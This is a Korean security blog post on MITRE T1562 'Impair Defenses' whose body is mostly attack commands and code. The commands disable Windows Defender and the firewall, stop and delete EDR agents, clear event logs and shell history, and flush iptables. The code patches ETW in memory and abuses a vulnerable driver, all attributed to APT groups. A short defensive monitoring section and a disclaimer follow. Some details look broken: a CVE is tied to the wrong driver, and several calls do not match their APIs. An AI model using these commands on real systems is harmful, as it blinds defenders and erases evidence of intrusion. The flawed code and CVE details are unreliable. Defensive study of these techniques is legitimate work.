COMMENTS (0)
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
MITRE T1562 Impair Defenses 기법의 동작 원리를 분석합니다. 공격자가 EDR, 방화벽, 로깅 시스템을 무력화하는 13가지 세부 기법과 실제 APT 사례, 효과적인 방어 전략을 제시합니다.
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
T1562 "Impair Defenses"는 2025년 기준 악성 소프트웨어 캠페인에서 가장 널리 사용된 방어 회피 기술이다. MITRE ATT&CK 프레임워크에 따르면, 공격자가 피해 환경의 방어 메커니즘을 악의적으로 수정하여 방어 능력을 저하시키거나 비활성화하는 기술로 정의된다.
과거에는 공격자가 시스템에 침입하면 바로 목표 달성을 위한 활동을 시작했다. 하지만 현대의 보안 환경에서는 EDR(Endpoint Detection and Response), SIEM(Security Information and Event Management), 방화벽 등 다층 방어 시스템이 구축되어 있어, 공격자는 먼저 이러한 방어막을 무력화해야 한다. T1562는 바로 이런 필요에서 체계화된 공격 기법이다.
T1562는 공격자가 시스템의 보안 통제를 무력화하여 탐지를 회피하고 지속적인 접근을 유지하는 기술이다.
Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. — MITRE ATT&CK T1562
위 정의에 따르면, T1562는 단순히 방화벽이나 백신을 끄는 것을 넘어서 방어자가 악의적 행동을 감시하고 식별하는 탐지 능력까지 포함하는 포괄적인 개념이다.
| 방어 유형 | 설명 |
|---|---|
| 예방 방어 | 역할: 공격 차단 / 대표 기술: 방화벽, 백신, WAF / 무력화 방법: 서비스 중단, 규칙 삭제 |
| 탐지 방어 | 역할: 이상 행위 감지 / 대표 기술: EDR, SIEM, IDS / 무력화 방법: 로그 비활성화, 에이전트 종료 |
| 감사 방어 | 역할: 활동 기록 / 대표 기술: Event Log, auditd / 무력화 방법: 히스토리 삭제, 로그 변조 |
| 네트워크 방어 | 역할: 트래픽 통제 / 대표 기술: 네트워크 방화벽, IPS / 무력화 방법: 규칙 수정, 우회 경로 생성 |
T1562는 다음과 같은 세분화된 기법들로 구성된다:
공격자는 먼저 대상 시스템에 배포된 보안 솔루션을 식별한다. 이는 마치 도둑이 집에 침입하기 전에 보안 시스템의 종류와 위치를 파악하는 것과 같다.
Windows 환경에서의 식별 명령어:
:: 실행 중인 보안 프로세스 확인
tasklist | findstr /i "defender mcafee symantec kaspersky"
:: 보안 서비스 상태 확인
sc query | findstr /i "antivirus firewall security"
:: Windows Defender 상태 확인
Get-MpComputerStatus
Linux 환경에서의 식별:
# 보안 관련 프로세스 확인
ps aux | grep -E "(clamav|rkhunter|chkrootkit|ossec)"
# 방화벽 상태 확인
systemctl status iptables ufw firewalld
# 감사 시스템 확인
systemctl status auditd
대부분의 보안 도구는 자가 보호(Self-Protection) 메커니즘을 가지고 있어 일반 사용자가 임의로 종료할 수 없다. 공격자는 다음과 같은 방법으로 이를 우회한다.
정상 도구 악용 (Living off the Land):
# GMER 같은 정상적인 rootkit 제거 도구 악용
# 이 도구들은 커널 레벨 접근 권한을 가지고 있어
# 보안 프로세스를 종료할 수 있음
.\gmer.exe -killav
# 정상 드라이버를 악용한 커널 접근
# 예: 취약한 하드웨어 드라이버 악용
sc create EvilDriver binPath= "C:\temp\vuln_driver.sys" type= kernel
식별과 권한 확보가 완료되면, 공격자는 체계적으로 보안 통제를 무력화한다.
Windows Defender 완전 비활성화:
# 실시간 보호 비활성화
Set-MpPreference -DisableRealtimeMonitoring $true
# 클라우드 보호 비활성화
Set-MpPreference -MAPSReporting Disabled
Set-MpPreference -SubmitSamplesConsent NeverSend
# 방화벽 완전 비활성화
netsh advfirewall set allprofiles state off
# Windows Defender 서비스 중단
sc stop WinDefend
sc config WinDefend start= disabled
EDR 에이전트 무력화:
:: CrowdStrike Falcon 에이전트 중단 시도
sc stop CSFalconService
sc delete CSFalconService
:: SentinelOne 에이전트 중단
sc stop SentinelAgent
sc delete SentinelAgent
:: 에이전트 파일 삭제 (권한이 있는 경우)
del /f /q "C:\Program Files\CrowdStrike\*"
공격 흔적을 남기지 않기 위해 로깅 시스템을 비활성화한다.
Windows 이벤트 로그 비활성화:
# 주요 이벤트 로그 비활성화
wevtutil sl Security /e:false
wevtutil sl System /e:false
wevtutil sl Application /e:false
# PowerShell 스크립트 블록 로깅 비활성화
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 0
# 명령 히스토리 삭제
Clear-History
Remove-Item (Get-PSReadlineOption).HistorySavePath
Linux 감사 시스템 무력화:
# auditd 서비스 중단
systemctl stop auditd
systemctl disable auditd
# 히스토리 파일 삭제
unset HISTFILE
history -c
rm ~/.bash_history
# 로그 파일 삭제
rm /var/log/auth.log
rm /var/log/secure
C2 통신과 데이터 유출을 위해 네트워크 통제를 우회한다.
# iptables 규칙 모두 삭제
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
# 특정 포트/IP 허용 규칙 추가
iptables -I INPUT -p tcp --dport 4444 -j ACCEPT
iptables -I OUTPUT -d 192.168.1.100 -j ACCEPT
Windows Event Tracing for Windows(ETW)는 고급 탐지 시스템의 핵심이다. 공격자는 이를 무력화하여 거의 모든 탐지를 우회할 수 있다.
// ETW 프로바이더 비활성화 (C++ 예시)
#include <windows.h>
#include <evntprov.h>
// Microsoft-Windows-Kernel-Process ETW 프로바이더 무력화
GUID processGuid = {0x22fb2cd6, 0x0e7b, 0x422b, {0xa0, 0xc7, 0x2f, 0xad, 0x1f, 0xd0, 0xe7, 0x16}};
EventUnregister(processGuid);
// PowerShell ETW 프로바이더 무력화
GUID powershellGuid = {0xa0c1853b, 0x5c40, 0x4b15, {0x8b, 0x66, 0xf1, 0x9a, 0x3f, 0x04, 0x6a, 0x91}};
EventUnregister(powershellGuid);
공격자에게 T1562는 "소음 제거기"와 같은 역할을 한다. 총소리(악성 활동)를 내기 전에 먼저 소음 제거기(방어 무력화)를 장착하는 것처럼, 본격적인 공격 활동 전에 탐지 가능성을 최소화한다.
Lazarus 그룹의 방어 무력화 전술:
Lazarus 그룹은 금융 기관 공격 시 다음과 같은 순서로 방어를 무력화했다:
# 1. Windows Defender 실시간 보호 비활성화
Set-MpPreference -DisableRealtimeMonitoring $true
# 2. 방화벽 아웃바운드 규칙 추가 (C2 통신용)
netsh advfirewall firewall add rule name="System Update" dir=out action=allow protocol=TCP remoteport=443
# 3. 이벤트 로그 클리어
for /f %i in ('wevtutil el') do wevtutil cl "%i"
# 4. PowerShell 실행 정책 우회
powershell -ExecutionPolicy Bypass -File malicious.ps1
APT29의 고급 ETW 우회:
APT29는 메모리 패치를 통해 ETW를 우회하는 고급 기법을 사용한다:
// ntdll.dll의 EtwEventWrite 함수를 패치하여 무력화
HMODULE ntdll = GetModuleHandle(L"ntdll.dll");
FARPROC etwEventWrite = GetProcAddress(ntdll, "EtwEventWrite");
// 함수 시작 부분을 ret 명령어로 패치
BYTE patch[] = {0xC3}; // ret 명령어
WriteProcessMemory(GetCurrentProcess(), etwEventWrite, patch, sizeof(patch), NULL);
1. 관리자 권한 의존성 악용:
대부분의 보안 도구 무력화는 관리자 권한이 필요하다. 공격자는 다음과 같은 방법으로 이를 악용한다:
fodhelper.exe, computerdefaults.exe 등 자동 상승 프로그램 악용2. 정상 도구 악용 (LOLBins):
:: PsExec을 이용한 SYSTEM 권한 획득 후 보안 도구 종료
psexec -s -i cmd.exe
taskkill /f /im "MsMpEng.exe"
:: WMI를 이용한 원격 방화벽 비활성화
wmic /node:"target-pc" process call create "netsh advfirewall set allprofiles state off"
3. 드라이버 레벨 공격:
공격자는 취약한 서명된 드라이버를 악용하여 커널 레벨에서 보안 도구를 무력화한다:
// 취약한 드라이버를 통한 프로세스 종료
// 예: CVE-2018-19320 (Dell DBUtil 드라이버)
HANDLE hDevice = CreateFile(L"\\\\.\\DBUtil_2_3",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
// 커널 메모리 쓰기를 통해 보안 프로세스 종료
DeviceIoControl(hDevice, IOCTL_KILL_PROCESS, &targetPID, sizeof(targetPID), NULL, 0, &bytesReturned, NULL);
1. 무결성 모니터링:
# 중요 보안 서비스 상태 지속 모니터링
$services = @("WinDefend", "MpsSvc", "EventLog")
foreach ($service in $services) {
$status = Get-Service $service -ErrorAction SilentlyContinue
if ($status.Status -ne "Running") {
# 알림 발생 및 자동 복구
Start-Service $service
Write-EventLog -LogName Security -Source "DefenseMonitor" -EventID 4001 -Message "Service $service was stopped and restarted"
}
}
2. 레지스트리 변경 감시:
# 중요 보안 설정 레지스트리 키 감시
$regPaths = @(
"HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender",
"HKLM:\SYSTEM\CurrentControlSet\Services\MpsSvc",
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
)
foreach ($path in $regPaths) {
Register-WmiEvent -Query "SELECT * FROM RegistryKeyChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND KeyPath='$path'"
}
3. 올바른 구현 체크리스트:
T1562 "Impair Defenses"는 현대 사이버 공격의 핵심 단계로, 공격자가 탐지를 회피하고 지속적인 접근을 유지하기 위해 체계적으로 방어 시스템을 무력화하는 기술이다.
이 기술은 EDR 우회 공격 12가지 방법: 보안 무력화 기법 | T1562.001, 방화벽 무력화 공격의 실체: APT28·APT38 사례로 본 침투 전술 | T1562.004 등의 세부 기법들과 밀접하게 연관되어 있다.
다음에 알아볼 주제들:
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.